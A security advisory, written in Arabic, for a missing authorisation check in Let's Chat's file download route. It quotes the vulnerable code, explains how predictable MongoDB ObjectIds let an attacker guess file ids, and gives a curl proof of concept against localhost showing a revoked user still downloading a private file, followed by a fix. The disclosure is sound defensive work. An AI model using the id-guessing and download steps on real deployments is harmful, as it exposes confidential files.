
استشارة أمنية: ضوابط الوصول غير الكافية تسمح بتنزيل الملفات غير المصرح به (Let's Chat)
معرّف CVE المعيّن: CVE-2026-66750
يتحقق GET /files/:id/:name من أن المتصل قد سجّل الدخول ثم يقدّم الملف. لكنه لا يتحقق أبدًا مما إذا كان المتصل مخوّلًا لرؤية الغرفة التي ينتمي إليها الملف.
وبالتالي يمكن لأي حساب قراءة المرفقات من الغرف الخاصة والمحمية بكلمة مرور والتي ليس عضوًا فيها، ويحتفظ المستخدمون الذين أُلغيت صلاحية وصولهم إلى غرفة ما بروابط تنزيل تعمل لكل ملف تم رفعه بينما كان لديهم حق الوصول.
نقطة نهاية قائمة الملفات الموجودة في نفس المتحكم تتحقق فعلاً من العضوية، وهو ما تفتقده نقطة نهاية التنزيل.
رابط المستودع: https://github.com/sdelements/lets-chat
الإصدارات المعرضة للثغرة: من 0.3.0 (الالتزام 55e8833، 24 يناير 2015، "Files backend") حتى 0.4.8، الإصدار النهائي. لا يوجد إصدار مصحح.
الغرف الخاصة والمحمية بكلمة مرور ظهرت في 0.4.0، وبالتالي فإن حد السرية الذي تُخرقه هذه الثغرة موجود منذ 0.4.0 فصاعدًا.
تتطلب files.enable: true، وهي معطّلة في defaults.yml ولكنها مفعّلة في كثير من عمليات النشر، لأن مشاركة الملفات ميزة موثقة.
تم تأكيدها على 0.4.8 عند الالتزام 617207f، وعلى docker.io/sdelements/lets-chat:latest (0.4.7).
CWE-639: تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم. وأيضًا CWE-862، نقص التفويض.
درجة CVSS 4.0 الأساسية 5.3 (متوسطة)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
يحتاج المهاجم إلى حساب مستخدم عادي واحد، ووصولًا عبر الشبكة إلى منفذ HTTP، ومعرّف ObjectId لملف. التسجيل الذاتي مفعّل افتراضيًا.
المعرّف ليس سرًا عمليًا. فأي شخص كان عضوًا في الغرفة في أي وقت يمتلكه بالفعل، لأن files:list ورسالة upload://files/<id>/<name> التي تُنشر عند الرفع كلاهما يكشفانه. إزالة الوصول لا تُبطله، ولا يوجد انتهاء صلاحية أو توقيع على الرابط.
أما المهاجم الذي لا سجل له في الغرفة المستهدفة، فعليه تخمين المعرّف. وهو ObjectId من MongoDB وليس UUID، وجزء قليل جدًا منه لا يمكن التنبؤ به:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
كل شيء ما عدا العداد ثابت طوال عمر عملية الخادم، والعداد تسلسل واحد مشترك بين كل المجموعات. لذلك فالمهاجم الذي يرفع ملفًا واحدًا خاصًا به يتعلم معرف الجهاز ومعرف العملية وموضع العداد الحالي، وكل ملف يرفعه أي شخص آخر يقع على مسافة قصيرة في ذلك التسلسل. ثمانية عمليات رفع متتالية على sdelements/lets-chat:latest:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
مسار التنزيل يطبّق requireLogin ولا شيء غيره.
app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
يتم تحميل file.room ثم لا يتم الاطلاع عليه أبدًا.
مسار القائمة في الميزة نفسها يفحص العضوية.
app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
إذن التطبيق يمتلك بالفعل الفحص الذي يحتاجه (Room.canJoin، المُعرّف في
app/models/room.js:130)؛ لكن مسار التنزيل لا يستدعيه.
يتطلب files.enable: true و rooms.private: true
(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
تنطبق النتيجة نفسها على حساب لم يكن عضوًا في الغرفة أبدًا، إذا كان بحوزته معرّف الملف.
يمكن لأي حساب على الخادم يملك معرّف الملف أو يمكنه استنتاجه أن يقرأ المرفقات في الغرف الخاصة والمحمية بكلمة مرور. إزالة شخص من غرفة خاصة، أو تغيير كلمة مرور الغرفة، لا يقطع وصوله إلى الملفات التي رُفعت مسبقًا، وأرشفة الغرفة لا تفعل ذلك أيضًا.
قم بتحميل الغرفة وأعد استخدام الفحص الذي يؤديه files:list بالفعل. في
app/controllers/files.js:62، بعد حارس if (!file):
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
إرجاع 404 بدلاً من 403 لمعرّف غير مصرح به يتجنب تأكيد وجود الملف.